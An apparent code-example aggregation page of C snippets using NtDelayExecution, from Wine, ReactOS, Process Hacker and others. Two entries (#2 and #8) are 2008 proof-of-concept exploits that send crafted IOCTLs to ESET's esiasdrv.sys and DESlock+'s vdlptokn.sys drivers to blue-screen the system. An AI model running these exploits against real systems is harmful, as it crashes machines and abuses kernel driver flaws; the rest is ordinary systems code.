Пример #1
0
/***********************************************************************
 *              NtSetContextThread  (NTDLL.@)
 *              ZwSetContextThread  (NTDLL.@)
 */
NTSTATUS WINAPI NtSetContextThread( HANDLE handle, const CONTEXT *context )
{
    NTSTATUS ret;
    DWORD dummy, i;
    BOOL self = FALSE;

#ifdef __i386__
    /* on i386 debug registers always require a server call */
    self = (handle == GetCurrentThread());
    if (self && (context->ContextFlags & (CONTEXT_DEBUG_REGISTERS & ~CONTEXT_i386)))
    {
        self = (ntdll_get_thread_data()->dr0 == context->Dr0 &&
                ntdll_get_thread_data()->dr1 == context->Dr1 &&
                ntdll_get_thread_data()->dr2 == context->Dr2 &&
                ntdll_get_thread_data()->dr3 == context->Dr3 &&
                ntdll_get_thread_data()->dr6 == context->Dr6 &&
                ntdll_get_thread_data()->dr7 == context->Dr7);
    }
#endif

    if (!self)
    {
        context_t server_context;

        context_to_server( &server_context, context );

        SERVER_START_REQ( set_thread_context )
        {
            req->handle  = wine_server_obj_handle( handle );
            req->suspend = 0;
            wine_server_add_data( req, &server_context, sizeof(server_context) );
            ret = wine_server_call( req );
            self = reply->self;
        }
        SERVER_END_REQ;

        if (ret == STATUS_PENDING)
        {
            if (NtSuspendThread( handle, &dummy ) == STATUS_SUCCESS)
            {
                for (i = 0; i < 100; i++)
                {
                    SERVER_START_REQ( set_thread_context )
                    {
                        req->handle  = wine_server_obj_handle( handle );
                        req->suspend = 0;
                        wine_server_add_data( req, &server_context, sizeof(server_context) );
                        ret = wine_server_call( req );
                    }
                    SERVER_END_REQ;
                    if (ret == STATUS_PENDING)
                    {
                        LARGE_INTEGER timeout;
                        timeout.QuadPart = -10000;
                        NtDelayExecution( FALSE, &timeout );
                    }
                    else break;
                }
                NtResumeThread( handle, &dummy );
            }
            if (ret == STATUS_PENDING) ret = STATUS_ACCESS_DENIED;
        }

        if (ret) return ret;
    }
Пример #2
0
int __cdecl main(int argc, char **argv)
{
    NTSTATUS NtStatus;
    
    HANDLE DeviceHandle;
    ULONG InputBuffer;

    UNICODE_STRING DeviceName;
    OBJECT_ATTRIBUTES ObjectAttributes;
    IO_STATUS_BLOCK IoStatusBlock;
    LARGE_INTEGER Interval;
    
    ///////////////////////////////////////////////////////////////////////////////////////////////
    
    system("cls");
    
    printf( " +----------------------------------------------------------------------------+\n"
            " |                                                                            |\n"
            " | ESET, LLC. - http://www.eset.com/                                          |\n"
            " |                                                                            |\n"
            " | Affected Software:                                                         |\n"
            " | ESET System Analyzer Tool - 1.1.1.0                                        |\n"
            " |                                                                            |\n"
            " | Affected Driver:                                                           |\n"
            " | Eset SysInspector AntiStealth driver - 3.0.65535.0 - esiasdrv.sys          |\n"
            " | Proof of Concept Exploit                                                   |\n"
            " |                                                                            |\n"
            " +----------------------------------------------------------------------------+\n"
            " |                                                                            |\n"
            " | NT Internals - http://www.ntinternals.org/                                 |\n"
            " | alex ntinternals org                                                       |\n"
            " | 01 October 2008                                                            |\n"
            " |                                                                            |\n"
            " +----------------------------------------------------------------------------+\n\n");
    
    ///////////////////////////////////////////////////////////////////////////////////////////////
    
    RtlInitUnicodeString(&DeviceName, L"\\Device\\esiasdrv");

    ObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES);
    ObjectAttributes.RootDirectory = 0;
    ObjectAttributes.ObjectName = &DeviceName;
    ObjectAttributes.Attributes = OBJ_CASE_INSENSITIVE;
    ObjectAttributes.SecurityDescriptor = NULL;
    ObjectAttributes.SecurityQualityOfService = NULL;

   
    NtStatus = NtCreateFile(
                            &DeviceHandle,                      // FileHandle
                            FILE_READ_DATA | FILE_WRITE_DATA,   // DesiredAccess
                            &ObjectAttributes,                  // ObjectAttributes
                            &IoStatusBlock,                     // IoStatusBlock
                            NULL,                               // AllocationSize OPTIONAL
                            0,                                  // FileAttributes
                            FILE_SHARE_READ | FILE_SHARE_WRITE, // ShareAccess
                            FILE_OPEN_IF,                       // CreateDisposition
                            0,                                  // CreateOptions
                            NULL,                               // EaBuffer OPTIONAL
                            0);                                 // EaLength

    /*
    if(NtStatus)
    {
        printf(" [*] NtStatus of NtCreateFile - 0x%.8X\n", NtStatus);    
        return NtStatus;
    }
    */
    
    Interval.LowPart = 0xFF676980;
    Interval.HighPart = 0xFFFFFFFF;

    printf("\n 3");
    NtDelayExecution(FALSE, &Interval);
    
    printf(" 2");
    NtDelayExecution(FALSE, &Interval);

    printf(" 1");
    NtDelayExecution(FALSE, &Interval);

    printf(" Upss\n\n");
    NtDelayExecution(FALSE, &Interval);


    //
    // Choose type of BSoD
    //

    // InputBuffer = 0x12345678;
    
    InputBuffer = 0;


    NtStatus = NtDeviceIoControlFile(
                                    DeviceHandle,          // FileHandle
                                    NULL,                  // Event
                                    NULL,                  // ApcRoutine
                                    NULL,                  // ApcContext
                                    &IoStatusBlock,        // IoStatusBlock
                                    IOCTL_METHOD_NEIGHTER, // FsControlCode
                                    &InputBuffer,          // InputBuffer
                                    BUFFER_LENGTH,         // InputBufferLength
                                    (PVOID)0x80000000,     // OutputBuffer
                                    BUFFER_LENGTH);        // OutBufferLength
    
    if(NtStatus)
    {
        printf(" [*] NtStatus of NtDeviceIoControlFile - 0x%.8X\n", NtStatus);
        return NtStatus;
    }
    
    NtStatus = NtClose(DeviceHandle); // Handle
    
    if(NtStatus)
    {
        printf(" [*] NtStatus of NtClose - 0x%.8X\n", NtStatus);    
        return NtStatus;
    }

    return FALSE;
}
Пример #3
0
ULONG
NTAPI
SmpApiLoop(IN PVOID Parameter)
{
    HANDLE SmApiPort = (HANDLE)Parameter;
    NTSTATUS Status;
    PSMP_CLIENT_CONTEXT ClientContext;
    PSM_API_MSG ReplyMsg = NULL;
    SM_API_MSG RequestMsg;
    PROCESS_BASIC_INFORMATION ProcessInformation;
    LARGE_INTEGER Timeout;

    /* Increase the number of API threads for throttling code for later */
    _InterlockedExchangeAdd(&SmTotalApiThreads, 1);

    /* Mark us critical */
    RtlSetThreadIsCritical(TRUE, NULL, TRUE);

    /* Set the PID of the SM process itself for later checking */
    NtQueryInformationProcess(NtCurrentProcess(),
                              ProcessBasicInformation,
                              &ProcessInformation,
                              sizeof(ProcessInformation),
                              NULL);
    SmUniqueProcessId = (HANDLE)ProcessInformation.UniqueProcessId;

    /* Now process incoming messages */
    while (TRUE)
    {
        /* Begin waiting on a request */
        Status = NtReplyWaitReceivePort(SmApiPort,
                                        (PVOID*)&ClientContext,
                                        &ReplyMsg->h,
                                        &RequestMsg.h);
        if (Status == STATUS_NO_MEMORY)
        {
            /* Ran out of memory, so do a little timeout and try again */
            if (ReplyMsg) DPRINT1("SMSS: Failed to reply to calling thread, retrying.\n");
            Timeout.QuadPart = -50000000;
            NtDelayExecution(FALSE, &Timeout);
            continue;
        }

        /* Check what kind of request we received */
        switch (RequestMsg.h.u2.s2.Type)
        {
            /* A new connection */
            case LPC_CONNECTION_REQUEST:
                /* Create the right structures for it */
                SmpHandleConnectionRequest(SmApiPort, (PSB_API_MSG)&RequestMsg);
                ReplyMsg =  NULL;
                break;

            /* A closed connection */
            case LPC_PORT_CLOSED:
                /* Destroy any state we had for this client */
                DPRINT1("Port closed\n");
                //if (ClientContext) SmpPushDeferredClientContext(ClientContext);
                ReplyMsg = NULL;
                break;

            /* An actual API message */
            default:
                if (!ClientContext)
                {
                    ReplyMsg = NULL;
                    break;
                }

                RequestMsg.ReturnValue = STATUS_PENDING;

                /* Check if the API is valid */
                if (RequestMsg.ApiNumber >= SmpMaxApiNumber)
                {
                    /* It isn't, fail */
                    DPRINT1("Invalid API: %lx\n", RequestMsg.ApiNumber);
                    Status = STATUS_NOT_IMPLEMENTED;
                }
                else if ((RequestMsg.ApiNumber <= SmpTerminateForeignSessionApi) &&
                         !(ClientContext->Subsystem))
                {
                    /* It's valid, but doesn't have a subsystem with it */
                    DPRINT1("Invalid session API\n");
                    Status = STATUS_INVALID_PARAMETER;
                }
                else
                {
                    /* It's totally okay, so call the dispatcher for it */
                    Status = SmpApiDispatch[RequestMsg.ApiNumber](&RequestMsg,
                                                                  ClientContext,
                                                                  SmApiPort);
                }

                /* Write the result valud and return the message back */
                RequestMsg.ReturnValue = Status;
                ReplyMsg = &RequestMsg;
                break;
        }
    }
    return STATUS_SUCCESS;
}
Пример #4
0
static INT_PTR CALLBACK PhpHiddenProcessesDlgProc(
    _In_ HWND hwndDlg,
    _In_ UINT uMsg,
    _In_ WPARAM wParam,
    _In_ LPARAM lParam
    )
{
    switch (uMsg)
    {
    case WM_INITDIALOG:
        {
            HWND lvHandle;

            PhCenterWindow(hwndDlg, GetParent(hwndDlg));
            PhHiddenProcessesListViewHandle = lvHandle = GetDlgItem(hwndDlg, IDC_PROCESSES);

            PhInitializeLayoutManager(&WindowLayoutManager, hwndDlg);
            PhAddLayoutItem(&WindowLayoutManager, GetDlgItem(hwndDlg, IDC_INTRO),
                NULL, PH_ANCHOR_LEFT | PH_ANCHOR_TOP | PH_ANCHOR_RIGHT | PH_LAYOUT_FORCE_INVALIDATE);
            PhAddLayoutItem(&WindowLayoutManager, lvHandle,
                NULL, PH_ANCHOR_ALL);
            PhAddLayoutItem(&WindowLayoutManager, GetDlgItem(hwndDlg, IDC_DESCRIPTION),
                NULL, PH_ANCHOR_LEFT | PH_ANCHOR_RIGHT | PH_ANCHOR_BOTTOM | PH_LAYOUT_FORCE_INVALIDATE);
            PhAddLayoutItem(&WindowLayoutManager, GetDlgItem(hwndDlg, IDC_METHOD),
                NULL, PH_ANCHOR_LEFT | PH_ANCHOR_BOTTOM);
            PhAddLayoutItem(&WindowLayoutManager, GetDlgItem(hwndDlg, IDC_TERMINATE),
                NULL, PH_ANCHOR_RIGHT | PH_ANCHOR_BOTTOM);
            PhAddLayoutItem(&WindowLayoutManager, GetDlgItem(hwndDlg, IDC_SAVE),
                NULL, PH_ANCHOR_RIGHT | PH_ANCHOR_BOTTOM);
            PhAddLayoutItem(&WindowLayoutManager, GetDlgItem(hwndDlg, IDC_SCAN),
                NULL, PH_ANCHOR_RIGHT | PH_ANCHOR_BOTTOM);
            PhAddLayoutItem(&WindowLayoutManager, GetDlgItem(hwndDlg, IDOK),
                NULL, PH_ANCHOR_RIGHT | PH_ANCHOR_BOTTOM);

            MinimumSize.left = 0;
            MinimumSize.top = 0;
            MinimumSize.right = 330;
            MinimumSize.bottom = 140;
            MapDialogRect(hwndDlg, &MinimumSize);

            PhRegisterDialog(hwndDlg);

            PhLoadWindowPlacementFromSetting(L"HiddenProcessesWindowPosition", L"HiddenProcessesWindowSize", hwndDlg);

            PhSetListViewStyle(lvHandle, TRUE, TRUE);
            PhSetControlTheme(lvHandle, L"explorer");
            PhAddListViewColumn(lvHandle, 0, 0, 0, LVCFMT_LEFT, 320, L"Process");
            PhAddListViewColumn(lvHandle, 1, 1, 1, LVCFMT_LEFT, 60, L"PID");

            PhSetExtendedListView(lvHandle);
            PhLoadListViewColumnsFromSetting(L"HiddenProcessesListViewColumns", lvHandle);
            ExtendedListView_AddFallbackColumn(lvHandle, 0);
            ExtendedListView_AddFallbackColumn(lvHandle, 1);
            ExtendedListView_SetItemColorFunction(lvHandle, PhpHiddenProcessesColorFunction);

            ComboBox_AddString(GetDlgItem(hwndDlg, IDC_METHOD), L"Brute Force");
            ComboBox_AddString(GetDlgItem(hwndDlg, IDC_METHOD), L"CSR Handles");
            PhSelectComboBoxString(GetDlgItem(hwndDlg, IDC_METHOD), L"CSR Handles", FALSE);

            EnableWindow(GetDlgItem(hwndDlg, IDC_TERMINATE), FALSE);
        }
        break;
    case WM_DESTROY:
        {
            PhSaveWindowPlacementToSetting(L"HiddenProcessesWindowPosition", L"HiddenProcessesWindowSize", hwndDlg);
            PhSaveListViewColumnsToSetting(L"HiddenProcessesListViewColumns", PhHiddenProcessesListViewHandle);
        }
        break;
    case WM_CLOSE:
        {
            // Hide, don't close.
            ShowWindow(hwndDlg, SW_HIDE);
            SetWindowLongPtr(hwndDlg, DWLP_MSGRESULT, 0);
        }
        return TRUE;
    case WM_COMMAND:
        {
            switch (LOWORD(wParam))
            {
            case IDCANCEL:
            case IDOK:
                {
                    SendMessage(hwndDlg, WM_CLOSE, 0, 0);
                }
                break;
            case IDC_SCAN:
                {
                    NTSTATUS status;
                    PPH_STRING method;

                    method = PhGetWindowText(GetDlgItem(hwndDlg, IDC_METHOD));
                    PhAutoDereferenceObject(method);

                    if (ProcessesList)
                    {
                        ULONG i;

                        for (i = 0; i < ProcessesList->Count; i++)
                        {
                            PPH_HIDDEN_PROCESS_ENTRY entry = ProcessesList->Items[i];

                            if (entry->FileName)
                                PhDereferenceObject(entry->FileName);

                            PhFree(entry);
                        }

                        PhDereferenceObject(ProcessesList);
                    }

                    ListView_DeleteAllItems(PhHiddenProcessesListViewHandle);

                    ProcessesList = PhCreateList(40);

                    ProcessesMethod =
                        PhEqualString2(method, L"Brute Force", TRUE) ?
                        BruteForceScanMethod :
                        CsrHandlesScanMethod;
                    NumberOfHiddenProcesses = 0;
                    NumberOfTerminatedProcesses = 0;

                    ExtendedListView_SetRedraw(PhHiddenProcessesListViewHandle, FALSE);
                    status = PhEnumHiddenProcesses(
                        ProcessesMethod,
                        PhpHiddenProcessesCallback,
                        NULL
                        );
                    ExtendedListView_SortItems(PhHiddenProcessesListViewHandle);
                    ExtendedListView_SetRedraw(PhHiddenProcessesListViewHandle, TRUE);

                    if (NT_SUCCESS(status))
                    {
                        SetDlgItemText(hwndDlg, IDC_DESCRIPTION,
                            PhaFormatString(L"%u hidden process(es), %u terminated process(es).",
                            NumberOfHiddenProcesses, NumberOfTerminatedProcesses)->Buffer
                            );
                        InvalidateRect(GetDlgItem(hwndDlg, IDC_DESCRIPTION), NULL, TRUE);
                    }
                    else
                    {
                        PhShowStatus(hwndDlg, L"Unable to perform the scan", status, 0);
                    }
                }
                break;
            case IDC_TERMINATE:
                {
                    PPH_HIDDEN_PROCESS_ENTRY *entries;
                    ULONG numberOfEntries;
                    ULONG i;

                    PhGetSelectedListViewItemParams(PhHiddenProcessesListViewHandle, &entries, &numberOfEntries);

                    if (numberOfEntries != 0)
                    {
                        if (!PhGetIntegerSetting(L"EnableWarnings") ||
                            PhShowConfirmMessage(
                            hwndDlg,
                            L"terminate",
                            L"the selected process(es)",
                            L"Terminating a hidden process may cause the system to become unstable "
                            L"or crash.",
                            TRUE
                            ))
                        {
                            NTSTATUS status;
                            HANDLE processHandle;
                            BOOLEAN refresh;

                            refresh = FALSE;

                            for (i = 0; i < numberOfEntries; i++)
                            {
                                if (ProcessesMethod == BruteForceScanMethod)
                                {
                                    status = PhOpenProcess(
                                        &processHandle,
                                        PROCESS_TERMINATE,
                                        entries[i]->ProcessId
                                        );
                                }
                                else
                                {
                                    status = PhOpenProcessByCsrHandles(
                                        &processHandle,
                                        PROCESS_TERMINATE,
                                        entries[i]->ProcessId
                                        );
                                }

                                if (NT_SUCCESS(status))
                                {
                                    status = PhTerminateProcess(processHandle, STATUS_SUCCESS);
                                    NtClose(processHandle);

                                    if (NT_SUCCESS(status))
                                        refresh = TRUE;
                                }
                                else
                                {
                                    PhShowStatus(hwndDlg, L"Unable to terminate the process", status, 0);
                                }
                            }

                            if (refresh)
                            {
                                LARGE_INTEGER interval;

                                // Sleep for a bit before continuing. It seems to help avoid
                                // BSODs.
                                interval.QuadPart = -250 * PH_TIMEOUT_MS;
                                NtDelayExecution(FALSE, &interval);
                                SendMessage(hwndDlg, WM_COMMAND, IDC_SCAN, 0);
                            }
                        }
                    }

                    PhFree(entries);
                }
                break;
            case IDC_SAVE:
                {
                    static PH_FILETYPE_FILTER filters[] =
                    {
                        { L"Text files (*.txt)", L"*.txt" },
                        { L"All files (*.*)", L"*.*" }
                    };
                    PVOID fileDialog;

                    fileDialog = PhCreateSaveFileDialog();

                    PhSetFileDialogFilter(fileDialog, filters, sizeof(filters) / sizeof(PH_FILETYPE_FILTER));
                    PhSetFileDialogFileName(fileDialog, L"Hidden Processes.txt");

                    if (PhShowFileDialog(hwndDlg, fileDialog))
                    {
                        NTSTATUS status;
                        PPH_STRING fileName;
                        PPH_FILE_STREAM fileStream;

                        fileName = PhGetFileDialogFileName(fileDialog);
                        PhAutoDereferenceObject(fileName);

                        if (NT_SUCCESS(status = PhCreateFileStream(
                            &fileStream,
                            fileName->Buffer,
                            FILE_GENERIC_WRITE,
                            FILE_SHARE_READ,
                            FILE_OVERWRITE_IF,
                            0
                            )))
                        {
                            PhWriteStringAsUtf8FileStream(fileStream, &PhUnicodeByteOrderMark);
                            PhWritePhTextHeader(fileStream);
                            PhWriteStringAsUtf8FileStream2(fileStream, L"Method: ");
                            PhWriteStringAsUtf8FileStream2(fileStream,
                                ProcessesMethod == BruteForceScanMethod ? L"Brute Force\r\n" : L"CSR Handles\r\n");
                            PhWriteStringFormatAsUtf8FileStream(
                                fileStream,
                                L"Hidden: %u\r\nTerminated: %u\r\n\r\n",
                                NumberOfHiddenProcesses,
                                NumberOfTerminatedProcesses
                                );

                            if (ProcessesList)
                            {
                                ULONG i;

                                for (i = 0; i < ProcessesList->Count; i++)
                                {
                                    PPH_HIDDEN_PROCESS_ENTRY entry = ProcessesList->Items[i];

                                    if (entry->Type == HiddenProcess)
                                        PhWriteStringAsUtf8FileStream2(fileStream, L"[HIDDEN] ");
                                    else if (entry->Type == TerminatedProcess)
                                        PhWriteStringAsUtf8FileStream2(fileStream, L"[Terminated] ");
                                    else if (entry->Type != NormalProcess)
                                        continue;

                                    PhWriteStringFormatAsUtf8FileStream(
                                        fileStream,
                                        L"%s (%u)\r\n",
                                        entry->FileName->Buffer,
                                        HandleToUlong(entry->ProcessId)
                                        );
                                }
                            }

                            PhDereferenceObject(fileStream);
                        }

                        if (!NT_SUCCESS(status))
                            PhShowStatus(hwndDlg, L"Unable to create the file", status, 0);
                    }

                    PhFreeFileDialog(fileDialog);
                }
                break;
            }
        }
        break;
    case WM_NOTIFY:
        {
            LPNMHDR header = (LPNMHDR)lParam;

            PhHandleListViewNotifyBehaviors(lParam, PhHiddenProcessesListViewHandle, PH_LIST_VIEW_DEFAULT_1_BEHAVIORS);

            switch (header->code)
            {
            case LVN_ITEMCHANGED:
                {
                    if (header->hwndFrom == PhHiddenProcessesListViewHandle)
                    {
                        EnableWindow(
                            GetDlgItem(hwndDlg, IDC_TERMINATE),
                            ListView_GetSelectedCount(PhHiddenProcessesListViewHandle) > 0
                            );
                    }
                }
                break;
            case NM_DBLCLK:
                {
                    if (header->hwndFrom == PhHiddenProcessesListViewHandle)
                    {
                        PPH_HIDDEN_PROCESS_ENTRY entry;

                        entry = PhGetSelectedListViewItemParam(PhHiddenProcessesListViewHandle);

                        if (entry)
                        {
                            PPH_PROCESS_ITEM processItem;

                            if (processItem = PhpCreateProcessItemForHiddenProcess(entry))
                            {
                                ProcessHacker_ShowProcessProperties(PhMainWndHandle, processItem);
                                PhDereferenceObject(processItem);
                            }
                            else
                            {
                                PhShowError(hwndDlg, L"Unable to create a process structure for the selected process.");
                            }
                        }
                    }
                }
                break;
            }
        }
        break;
    case WM_SIZE:
        {
            PhLayoutManagerLayout(&WindowLayoutManager);
        }
        break;
    case WM_SIZING:
        {
            PhResizingMinimumSize((PRECT)lParam, wParam, MinimumSize.right, MinimumSize.bottom);
        }
        break;
    case WM_CTLCOLORSTATIC:
        {
            if ((HWND)lParam == GetDlgItem(hwndDlg, IDC_DESCRIPTION))
            {
                if (NumberOfHiddenProcesses != 0)
                {
                    SetTextColor((HDC)wParam, RGB(0xff, 0x00, 0x00));
                }

                SetBkColor((HDC)wParam, GetSysColor(COLOR_3DFACE));

                return (INT_PTR)GetSysColorBrush(COLOR_3DFACE);
            }
        }
        break;
    }

    REFLECT_MESSAGE_DLG(hwndDlg, PhHiddenProcessesListViewHandle, uMsg, wParam, lParam);

    return FALSE;
}
Пример #5
0
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
	static WCHAR dll_exist[] = L"ITH_DLL_RUNNING";
	static HANDLE hDllExist;
	switch (fdwReason) 
	{ 
	case DLL_PROCESS_ATTACH:
		{
		LdrDisableThreadCalloutsForDll(hinstDLL);	
		IthBreak();
		module_base = (DWORD)hinstDLL;
		IthInitSystemService();
		DWORD s;
		swprintf(hm_section,L"ITH_SECTION_%d",current_process_id);
		hSection=IthCreateSection(hm_section,0x2000,PAGE_EXECUTE_READWRITE);	
		NtMapViewOfSection(hSection,NtCurrentProcess(),(PVOID*)&hookman,0,
			hook_buff_len,0,&hook_buff_len,ViewUnmap,0,PAGE_EXECUTE_READWRITE);
		LPWSTR p;		
		for (p = GetMainModulePath(); *p; p++);
		for (p = p; *p != L'\\'; p--);
		wcscpy(dll_name,p+1);
		//swprintf(dll_mutex,L"ITH_%.4d_%s",current_process_id,current_dir);
		swprintf(dll_mutex,L"ITH_%d",current_process_id);
		swprintf(hm_mutex,L"ITH_HOOKMAN_%d",current_process_id);
		hmMutex=IthCreateMutex(hm_mutex,0);
		hMutex=IthCreateMutex(dll_mutex,1,&s);
		if (s) return FALSE;
		hDllExist = IthCreateMutex(dll_exist, 0);
		hDLL=hinstDLL; running=true;
		current_available=hookman;
		GetFunctionNames();
		InitFilterTable();
		InitDefaultHook();
		
		hSendThread=IthCreateThread(WaitForPipe,0);
		hCmdThread=IthCreateThread(CommandPipe,0);
		}
		break; 
	case DLL_PROCESS_DETACH:
	{		
		running=false;
		live=false;
		NtWaitForSingleObject(hSendThread,0,0);
		NtWaitForSingleObject(hCmdThread,0,0);
		NtClose(hCmdThread);
		NtClose(hSendThread);
		for (TextHook* man=hookman;man->RemoveHook();man++);
		LARGE_INTEGER lint={-10000,-1};
		while (enter_count) NtDelayExecution(0,&lint);
		for (TextHook* man=hookman;man<hookman+MAX_HOOK;man++) man->ClearHook();
		NtUnmapViewOfSection(NtCurrentProcess(),hookman);
		NtClose(hSection);	
		NtClose(hMutex);

		delete tree;
		IthCloseSystemService();
		NtClose(hmMutex);
		NtClose(hDllExist);
		break;
	}
	default: 
		break; 
	 } 
	return TRUE; 
}
Пример #6
0
static
NTSTATUS
_OpenNtName(
    IN PCSTR Name,
    IN BOOLEAN Readonly,
    OUT PHANDLE Handle,
    OUT PBOOLEAN OpenedReadonly OPTIONAL
   )
{
	UNICODE_STRING UnicodeString;
	ANSI_STRING    AnsiString;
	WCHAR Buffer[512];
	NTSTATUS Status;
	OBJECT_ATTRIBUTES ObjectAttributes;
	IO_STATUS_BLOCK IoStatusBlock;

	
	
	

	UnicodeString.Buffer = &Buffer[0];
	UnicodeString.Length = 0;
	UnicodeString.MaximumLength = sizeof(Buffer); 

	RtlInitAnsiString(&AnsiString, Name);

	Status = RtlAnsiStringToUnicodeString(&UnicodeString, &AnsiString, FALSE);

	if(!NT_SUCCESS(Status))
	{
		return Status; 
	}

	
	
	

	InitializeObjectAttributes(&ObjectAttributes,
							   &UnicodeString,
							   OBJ_CASE_INSENSITIVE,
							   NULL,
							   NULL );

	
	
	

	if(ARGUMENT_PRESENT(OpenedReadonly))
	{
		*OpenedReadonly = Readonly;
	}


	Status = NtOpenFile(Handle,
						SYNCHRONIZE | FILE_READ_DATA | (Readonly ? 0 : FILE_WRITE_DATA),
						&ObjectAttributes,
						&IoStatusBlock,
						FILE_SHARE_WRITE | FILE_SHARE_READ,
						FILE_SYNCHRONOUS_IO_NONALERT);

	if(!NT_SUCCESS(Status))
	{
		
		
		

		LARGE_INTEGER Interval;
		Interval.QuadPart = -5000000; 

		NtDelayExecution(FALSE, &Interval);

		Status = NtOpenFile(Handle,
							SYNCHRONIZE | FILE_READ_DATA | (Readonly ? 0 : FILE_WRITE_DATA),
							&ObjectAttributes,
							&IoStatusBlock,
							FILE_SHARE_WRITE | FILE_SHARE_READ,
							FILE_SYNCHRONOUS_IO_NONALERT);

		
		
		

		if((STATUS_ACCESS_DENIED == Status) && !Readonly)
		{
			if(ARGUMENT_PRESENT(OpenedReadonly))
			{
				*OpenedReadonly = TRUE;
			}

			Status = NtOpenFile(Handle,
							SYNCHRONIZE | FILE_READ_DATA,
							&ObjectAttributes,
							&IoStatusBlock,
							FILE_SHARE_WRITE | FILE_SHARE_READ,
							FILE_SYNCHRONOUS_IO_NONALERT);
		}
	}



	
	
	

	return Status;
}
Пример #7
0
static BOOLEAN PhpRunTerminatorTest(
    _In_ HWND WindowHandle,
    _In_ INT Index
    )
{
    NTSTATUS status;
    PTEST_ITEM testItem;
    PPH_PROCESS_ITEM processItem;
    HWND lvHandle;
    PVOID processes;
    BOOLEAN success = FALSE;
    LARGE_INTEGER interval;

    processItem = (PPH_PROCESS_ITEM)GetProp(WindowHandle, L"ProcessItem");
    lvHandle = GetDlgItem(WindowHandle, IDC_TERMINATOR_LIST);

    if (!PhGetListViewItemParam(
        lvHandle,
        Index,
        &testItem
        ))
        return FALSE;

    if (WSTR_EQUAL(testItem->Id, L"TT4"))
    {
        if (!PhShowConfirmMessage(
            WindowHandle,
            L"run",
            L"the TT4 test",
            L"The TT4 test may cause the system to crash.",
            TRUE
            ))
            return FALSE;
    }

    status = testItem->TestProc(processItem->ProcessId);
    interval.QuadPart = -1000 * PH_TIMEOUT_MS;
    NtDelayExecution(FALSE, &interval);

    if (status == STATUS_NOT_SUPPORTED)
    {
        PPH_STRING concat;

        concat = PhConcatStrings2(L"(Not available) ", testItem->Description);
        PhSetListViewSubItem(lvHandle, Index, 1, concat->Buffer);
        PhDereferenceObject(concat);
    }

    if (!NT_SUCCESS(PhEnumProcesses(&processes)))
        return FALSE;

    // Check if the process exists.
    if (!PhFindProcessInformation(processes, processItem->ProcessId))
    {
        PhSetListViewItemImageIndex(lvHandle, Index, TICK_INDEX);
        SetDlgItemText(WindowHandle, IDC_TERMINATOR_TEXT, L"The process was terminated.");
        success = TRUE;
    }
    else
    {
        PhSetListViewItemImageIndex(lvHandle, Index, CROSS_INDEX);
    }

    PhFree(processes);

    UpdateWindow(WindowHandle);

    return success;
}
Пример #8
0
int __cdecl main(int argc, char **argv)
{
    NTSTATUS NtStatus;
    
    HANDLE DeviceHandle;
    
    UNICODE_STRING DeviceName;
    OBJECT_ATTRIBUTES ObjectAttributes;
    IO_STATUS_BLOCK IoStatusBlock;
    LARGE_INTEGER Interval;

    ///////////////////////////////////////////////////////////////////////////////////////////////
    
    system("cls");
    
    printf( " +----------------------------------------------------------------------------+\n"
            " |                                                                            |\n"
            " | Data Encryption Systems Ltd. - http://www.deslock.com/                     |\n"
            " | Data Encryption Systems DESlock+ - 3.2.7                                   |\n"
            " | DESlock+ Virtual Token Driver - 1.0.2.43 - vdlptokn.sys                    |\n"
            " | DoS Exploit                                                                |\n"
            " |                                                                            |\n"
            " +----------------------------------------------------------------------------+\n"
            " |                                                                            |\n"
            " | NT Internals - http://www.ntinternals.org/                                 |\n"
            " | alex ntinternals org                                                       |\n"
            " | 21 September 2008                                                          |\n"
            " |                                                                            |\n"
            " +----------------------------------------------------------------------------+\n\n");

    ///////////////////////////////////////////////////////////////////////////////////////////////
    
    RtlInitUnicodeString(&DeviceName, L"\\Device\\DLPTokenWalter0");

    ObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES);
    ObjectAttributes.RootDirectory = 0;
    ObjectAttributes.ObjectName = &DeviceName;
    ObjectAttributes.Attributes = OBJ_CASE_INSENSITIVE;
    ObjectAttributes.SecurityDescriptor = NULL;
    ObjectAttributes.SecurityQualityOfService = NULL;

    
    NtStatus = NtCreateFile(
                            &DeviceHandle,                      // FileHandle
                            FILE_READ_DATA | FILE_WRITE_DATA,   // DesiredAccess
                            &ObjectAttributes,                  // ObjectAttributes
                            &IoStatusBlock,                     // IoStatusBlock
                            NULL,                               // AllocationSize OPTIONAL
                            0,                                  // FileAttributes
                            FILE_SHARE_READ | FILE_SHARE_WRITE, // ShareAccess
                            FILE_OPEN_IF,                       // CreateDisposition
                            0,                                  // CreateOptions
                            NULL,                               // EaBuffer OPTIONAL
                            0);                                 // EaLength

    if(NtStatus)
    {
        printf(" [*] NtStatus of NtCreateFile - 0x%.8X\n", NtStatus);    
        return NtStatus;
    }

    RtlFreeUnicodeString(&DeviceName);

    ///////////////////////////////////////////////////////////////////////////////////////////////

    Interval.LowPart = 0xFF676980;
    Interval.HighPart = 0xFFFFFFFF;

    printf(" 3");
    NtDelayExecution(FALSE,    &Interval);
    
    printf(" 2");
    NtDelayExecution(FALSE,    &Interval);

    printf(" 1");
    NtDelayExecution(FALSE,    &Interval);

    printf(" BSoD\n\n");
    NtDelayExecution(FALSE,    &Interval);


    NtStatus = NtDeviceIoControlFile(
                                     DeviceHandle,    // FileHandle
                                     NULL,            // Event
                                     NULL,            // ApcRoutine
                                     NULL,            // ApcContext
                                     &IoStatusBlock,  // IoStatusBlock
                                     0x002220C0,      // IoControlCode
                                     NULL,            // InputBuffer
                                     0,               // InputBufferLength
                                     NULL,            // OutputBuffer
                                     0);              // OutBufferLength
    
    if(NtStatus)
    {
        printf(" [*] NtStatus of NtDeviceIoControlFile - 0x%.8X\n", NtStatus);
        return NtStatus;
    }

    ///////////////////////////////////////////////////////////////////////////////////////////////

    NtStatus = NtClose(DeviceHandle);  // Handle
    
    if(NtStatus)
    {
        printf(" [*] NtStatus of NtClose - 0x%.8X\n", NtStatus);    
        return NtStatus;
    }
    
    return 0;
}
Пример #9
0
/*++
 * @name CsrApiRequestThread
 *
 * The CsrApiRequestThread routine handles incoming messages or connection
 * requests on the CSR API LPC Port.
 *
 * @param Parameter
 *        System-default user-defined parameter. Unused.
 *
 * @return The thread exit code, if the thread is terminated.
 *
 * @remarks Before listening on the port, the routine will first attempt
 *          to connect to the user subsystem.
 *
 *--*/
NTSTATUS
NTAPI
CsrApiRequestThread(IN PVOID Parameter)
{
    PTEB Teb = NtCurrentTeb();
    LARGE_INTEGER TimeOut;
